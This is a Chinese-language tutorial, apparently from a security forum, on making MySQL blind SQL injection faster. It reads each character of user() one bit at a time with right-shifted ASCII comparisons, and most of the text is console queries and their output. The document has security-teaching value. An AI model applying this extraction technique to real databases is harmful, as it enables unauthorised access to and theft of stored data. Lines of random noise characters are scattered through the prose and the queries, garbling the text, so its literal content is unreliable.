关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



下面将以查询mysql数据库当中user()的第一位为例:

/ q! h! p1 k7 w0 k/ r7 B# \6 ]: ]

ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

. K) Q8 B7 W$ i* h, \2 t9 E
7 j' P7 A# l: n5 c5 p* m9 B2 H
首先执行如下sql语句:
  q$ J* v8 ]. X8 g& n+ r

. k! b) Z7 B- V0 @
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
' ~! D( Y+ F) d! V- c$ m5 }

+ F( v4 V: x& O: G2 A
4 V/ k; |2 g$ q' I/ m我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

$ v' |: R) F, d; [; i- ?

- I6 ~4 d; W: d第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! _7 o; M/ X" L1 D. C6 O- n4 y

4 @3 g6 e* d) c
如果运算结果为1,说明第一位为0,不为1
; J2 k" c4 L1 j0 b9 d2 c$ i& M

6 H0 z, d" [/ d# s' G
  P$ R& d8 k- W+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |
, `6 T/ g; D" k
+————————————–+
9 q2 s$ i6 {. r% z
" S7 a* Y! w7 B| 1 |

+————————————–+
( ^' B2 ~0 C' Y0 _( o' n
1 row in set (0.00 sec)

- P) e; ]; a. @8 J  N: b这样我们就确定这个8bit的ascii的第一位为0

  n6 @; k; m( B) ]

第二次我们来做6次右偏移来确定前两位
" u! P$ Q; S6 ?) L( |7 x& l8 z
% t' [4 V2 y; b) h+ w

  f& A/ H% i4 T: i+ y: _前两位可能是01或00,即依然可以与0做比较,

$ Y6 I" I( T' umysql> select (ascii((substr(user(),1,1))) >> 6)=0;
9 H% Q$ M- s! k
0 Q& O, @" ]5 e" ^7 w+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
$ k2 ]% M+ ]9 v% D' h' x' l
+————————————–+

" T) z& H# F( Z. w2 t| 0 |

& H# ~" h8 ^9 V- \4 v+————————————–+

1 row in set (0.00 sec)


+ Y0 }6 U, Q% `$ e/ J7 B! Y
结果为0,即第二位为1
( F9 m' M5 ^! E7 u6 Y

' Y3 i2 c+ e! l! \% b; q
开始猜测前三位为010或011
& y+ _( t+ S9 q) K7 O

5 y7 L( h& x* u9 ^+ B
9 h0 J- h3 `& x. h( m% F( L8 v' E让我们看看010和011的ascii码是多少
# T; X1 M. ?" v" Y3 W


分别查询select b’011′ select b’010′
! \  l2 G; m* v$ U
3 U. x6 |1 X. m8 G

获得结果 010 = 2 011 = 3

- F0 R( l! N: x) c7 T

3 c, T. i# i7 K, J执行如下sql:
6 R1 p( ]& ]0 V( P8 }2 z; a
6 }! T; Y, x# q( Y( i
% P' ?& z# N2 q) ?" _; `
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
5 z$ e  R* {/ z; s% c( y. e3 F
0 T8 m2 x* X  T! a8 O+————————————–+

, o1 u* \4 j* [* Q| (ascii((substr(user(),1,1))) >> 5)=2 |

4 M) s, Y/ K1 G" _  U  J# o4 e+————————————–+
- X9 [% X4 V+ p
| 0 |
1 @6 s% l# `; N! K7 `9 n& @
+————————————–+

即前三位不为010,而是011

- I' v+ X& U8 u* Q% k
$ z1 G* |  Q9 G# P
+ n, [3 r% W3 Z+ ?" `5 q直到获得最后一位
4 d* S( y( Y0 n& j, J: L4 w; P
+ E  ~( \* U- ?
, i! N# J% d* U# w. Z
8 w6 X1 u( Z& j6 F* Y. n" K最终结果为:01110010



& L; {1 I' P3 ]9 U转换一下:

+ n  N8 [/ t0 k' F4 w
% `% m- C% X" B
select b’01110010′


1 f; p/ N; M/ c2 W) e$ s6 G1 m8 l+ A
  x2 g7 h8 V" g* }查询结果
7 K. l3 Q  Y+ C: ^3 X
( d* C' t) j2 T2 T0 @% B" m0 E3 t
) G" E9 l/ \- Q: e
+————-+
( o$ ~' a5 s3 v1 r8 q  z5 `% Q
  C8 `/ b8 j1 g& V! }" N| b’01110010′ |
4 l! j& M5 h1 ~: P
2 ~0 [5 l3 H+ }, w+————-+
) i7 R8 e5 k# E% T* f
; |8 m( x6 I. |6 P/ T1 @| r |

+————-+
" h7 i. [6 p$ C! F, `8 G
4 P4 u! M. m7 w- z2 T2 @. Q1 row in set (0.00 sec)
$ q& p6 z, h0 N4 g

- K1 P+ H7 }$ |! l  K* [. f
这样我们就获得了user()的第一位.其它位依此类推

1 r) W5 d. I9 s